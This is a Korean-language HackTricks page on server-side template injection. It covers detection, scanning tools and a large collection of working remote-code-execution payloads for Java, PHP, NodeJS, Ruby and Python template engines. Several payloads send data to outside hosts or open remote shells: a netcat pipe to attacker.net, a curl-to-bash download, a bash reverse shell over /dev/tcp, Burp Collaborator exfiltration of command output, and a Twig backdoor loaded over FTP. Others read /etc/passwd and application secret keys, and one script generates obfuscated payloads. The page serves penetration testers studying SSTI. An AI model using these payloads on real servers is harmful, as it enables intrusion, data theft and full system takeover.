45 KiB
SSTI (Server Side Template Injection)
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 HackTricks 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
RootedCON은 스페인에서 가장 중요한 사이버 보안 이벤트 중 하나로 유럽에서도 중요한 위치를 차지합니다. 기술 지식을 촉진하는 임무를 가진 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남 지점입니다.
{% embed url="https://www.rootedcon.com/" %}
SSTI (서버 측 템플릿 삽입)이란
서버 측 템플릿 삽입은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 삽입할 수 있는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.
Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔진입니다. Jinja를 사용한 취약한 코드 스니펫을 보여주는 예제를 살펴봅시다:
output = template.render(name=request.args.get('name'))
이 취약한 코드에서 사용자의 요청에서 name
매개변수가 render
함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 name
매개변수에 악성 코드를 삽입하여 서버 측 템플릿 주입을 유발할 수 있습니다.
예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 조작할 수 있습니다:
http://vulnerable-website.com/?name={{bad-stuff-here}}
페이로드 {{bad-stuff-here}}
이 name
매개변수에 삽입됩니다. 이 페이로드에는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작하여 서버를 제어할 수 있는 진자 템플릿 지시문이 포함될 수 있습니다.
서버 측 템플릿 삽입 취약점을 방지하려면, 개발자는 사용자 입력이 템플릿에 삽입되기 전에 적절히 살균화되고 유효성이 검사되도록 해야 합니다. 입력 유효성을 구현하고 컨텍스트에 맞는 이스케이핑 기술을 사용하면 이 취약점의 위험을 완화할 수 있습니다.
탐지
서버 측 템플릿 삽입 (SSTI)을 탐지하기 위해 먼저 템플릿 퍼징이 직관적인 방법입니다. 이는 템플릿에 특수 문자 시퀀스 (${{<%[%'"}}%\
)를 삽입하고 일반 데이터 대비 이 특수 페이로드에 대한 서버 응답의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다:
- 취약점 및 템플릿 엔진을 노출하는 오류 발생.
- 반사에서 페이로드가 없거나 일부가 누락되어 있어 일반 데이터와 다르게 처리된다는 것을 시사.
- 평문 컨텍스트: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구분합니다 (예:
{{7*7}}
,${7*7}
). - 코드 컨텍스트: 입력 매개변수를 변경하여 취약점을 확인합니다. 예를 들어
http://vulnerable-website.com/?greeting=data.username
의greeting
을 변경하여 서버의 출력이 동적인지 고정인지 확인합니다. (greeting=data.username}}hello
가 사용자 이름을 반환하는지 확인).
식별 단계
템플릿 엔진을 식별하려면 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트해야 합니다. 오류를 일으키는 일반적인 페이로드에는 ${7/0}
, {{7/0}}
, <%= 7/0 %>
등이 포함됩니다. 수학 연산에 대한 서버 응답을 관찰하여 특정 템플릿 엔진을 파악할 수 있습니다.
도구
TInjA
새로운 폴리글롯을 활용하는 효율적인 SSTI + CSTI 스캐너입니다.
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
템플릿 주입 테이블
가장 효율적인 템플릿 주입 폴리글롯과 44개의 주요 템플릿 엔진의 예상 응답을 포함하는 대화형 테이블입니다.
Exploits
일반
이 워드리스트에서는 아래에 언급된 엔진들의 환경에서 정의된 변수를 찾을 수 있습니다:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
자바
자바 - 기본 주입
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - 시스템의 환경 변수를 검색합니다
${T(java.lang.System).getenv()}
Java - /etc/passwd 파일 검색
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
당신은 https://try.freemarker.apache.org에서 페이로드를 시도할 수 있습니다.
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - 샌드박스 우회
⚠️ Freemarker 버전 2.3.30 미만에서만 작동합니다.
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
추가 정보
- https://portswigger.net/research/server-side-template-injection의 FreeMarker 섹션 참조
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
추가 정보
- https://portswigger.net/research/server-side-template-injection의 Velocity 섹션 참조
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf에서 SSTI 취약점에 대한 일반적인 테스트는 ${7*7}
표현식이며, 이는 이 템플릿 엔진에도 적용됩니다. 잠재적인 원격 코드 실행을 위해 다음과 같은 표현식을 사용할 수 있습니다:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf는 이러한 표현식이 특정 속성 내에 위치해야 합니다. 그러나 _표현식 인라인_은 다른 템플릿 위치에 대해 지원되며, [[...]]
또는 [(...)]
와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 [[${7*7}]]
와 같을 수 있습니다.
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않습니다. 템플릿은 미리 정의되어 있어야 합니다. 개발자는 문자열에서 템플릿을 동적으로 생성하기 위해 자체 TemplateResolver
를 구현해야 하는데, 이는 일반적이지 않습니다.
또한 Thymeleaf는 _표현식 전처리_를 제공하며, 더블 언더스코어(__...__
) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 설명된 대로 표현식을 구성하는 데 활용될 수 있습니다:
#{selection.__${sel.code}__}
Thymeleaf에서 취약점 예시
다음 코드 스니펫을 고려해보세요. 이 부분은 악용될 수 있는 취약점이 있을 수 있습니다:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
이는 템플릿 엔진이 이러한 입력을 부적절하게 처리하는 경우, 다음과 같은 URL에 액세스하여 원격 코드 실행으로 이어질 수 있다는 것을 나타냅니다:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
추가 정보
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
필터 우회
여러 변수 표현식을 사용할 수 있습니다. ${...}
가 작동하지 않는 경우 #{...}
, *{...}
, @{...}
또는 ~{...}
를 시도해보세요.
/etc/passwd
읽기
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- 페이로드 생성을 위한 사용자 정의 스크립트
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
추가 정보
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble의 이전 버전 ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
새로운 버전의 Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava - 명령 실행
https://github.com/HubSpot/jinjava/
수정됨: https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
추가 정보
Hubspot - HuBL (Java)
{% %}
문 구분자{{ }}
표현식 구분자{# #}
주석 구분자{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest"를 검색하여 Github의 Jinjava 프로젝트를 발견했습니다.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
추가 정보
표현 언어 - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
표현 언어 (EL)는 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호 작용을 용이하게 하는 기본 기능입니다. 이 통신을 간소화하기 위해 EL은 여러 JavaEE 기술 전반에 걸쳐 널리 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:
- JavaServer Faces (JSF): EL을 사용하여 JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩합니다.
- JavaServer Pages (JSP): JSP에서 데이터에 액세스하고 조작하기 위해 EL이 사용되며, 이를 통해 페이지 요소를 애플리케이션 데이터에 연결하는 작업이 용이해집니다.
- Contexts and Dependency Injection for Java EE (CDI): EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호 작용을 가능하게 하며, 더 일관된 애플리케이션 구조를 보장합니다.
EL 해석기의 악용에 대해 더 알아보려면 다음 페이지를 확인하세요:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
다음 보안 관리자 우회 방법은 이 writeup에서 가져왔습니다.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON은 스페인에서 가장 중요한 사이버 보안 이벤트 중 하나이며 유럽에서 가장 중요한 이벤트 중 하나입니다. 기술 지식을 촉진하는 데 노력하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 열정적인 만남의 장입니다.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
추가 정보
- https://portswigger.net/research/server-side-template-injection의 Smarty 섹션 참조
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty 참조
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - 템플릿 형식
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
추가 정보
- https://portswigger.net/research/server-side-template-injection의 Twig 및 Twig (Sandboxed) 섹션 참조
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates는 PHP에 기본적으로 내장된 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 Twig와 달리 Plates는 새로운 구문을 도입하는 대신 템플릿에서 네이티브 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.
컨트롤러:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
페이지 템플릿:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
레이아웃 템플릿:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
추가 정보
PHPlib 및 HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB은 PHPlib과 동일하지만 Pear로 이식된 것입니다.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
추가 정보
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
추가 정보
- https://portswigger.net/research/server-side-template-injection의 Jade 섹션에서
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate은 XML 태그를 사용하여 문서를 여러 부분으로 나누는 PHP 템플릿 엔진으로, 컴파일되지 않는다.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
추가 정보
Handlebars (NodeJS)
경로 순회 (더 많은 정보는 여기에서 확인).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = 오류
- ${7*7} = ${7*7}
- 아무것도
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
추가 정보
JsRender (NodeJS)
템플릿 | 설명 |
---|---|
결과를 평가하고 렌더링 | |
HTML 인코딩된 결과를 평가하고 렌더링 | |
주석 | |
and | 코드를 허용 (기본적으로 비활성화) |
- = 49
클라이언트 측
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
서버 측
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
추가 정보
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
서버 측 렌더링 예시
var pugjs = require('pug');
home = pugjs.render(injected_page)
추가 정보
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = 출력 없음
- #{7*7} = #{7*7}
- {{console.log(1)}} = 에러
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
추가 정보
ERB (루비)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = 에러
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
추가 정보
Slim (루비)
{ 7 * 7 }
{ %x|env| }
추가 정보
Python
파이썬에서 임의 명령 실행을 우회하여 샌드박스를 우회하는 트릭을 배우려면 다음 페이지를 확인하세요:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
추가 정보
Jinja2 (Python)
Jinja2는 Python을 위한 완전한 기능을 갖춘 템플릿 엔진입니다. 전체 유니코드 지원, 선택적 통합된 샌드박스 실행 환경, 널리 사용되며 BSD 라이선스가 있습니다.
{{7*7}} = 에러
${7*7} = ${7*7}
{{foobar}} 아무것도 없음
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - 템플릿 형식
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja를 악용하는 방법에 대한 자세한 내용:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
